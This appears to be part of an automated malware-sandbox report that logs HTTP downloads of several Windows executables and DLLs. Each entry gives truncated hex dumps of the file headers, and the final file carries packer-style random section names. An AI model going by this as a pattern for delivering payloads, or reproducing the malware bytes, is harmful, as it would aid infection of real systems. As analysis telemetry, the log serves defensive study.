06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 20:59:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 20:59:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 20:59:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 20:59:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 20:59:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 20:59:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 20:59:28 GMTContent-Type: application/octet-streamContent-Length: 3330048Last-Modified: Mon, 11 Nov 2024 20:47:42 GMTConnection: keep-aliveETag: "67326d6e-32d000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 e0 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 33 00 00 04 00 00 67 52 33 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 c4 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 c3 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 7a 6b 70 71 77 6d 72 6b 00 20 2c 00 00 b0 06 00 00 16 2c 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 66 7a 74 65 79 6c 6d 00 10 00 00 00 d0 32 00 00 04 00 00 00 aa 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 32 00 00 22 00 00 00 ae 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 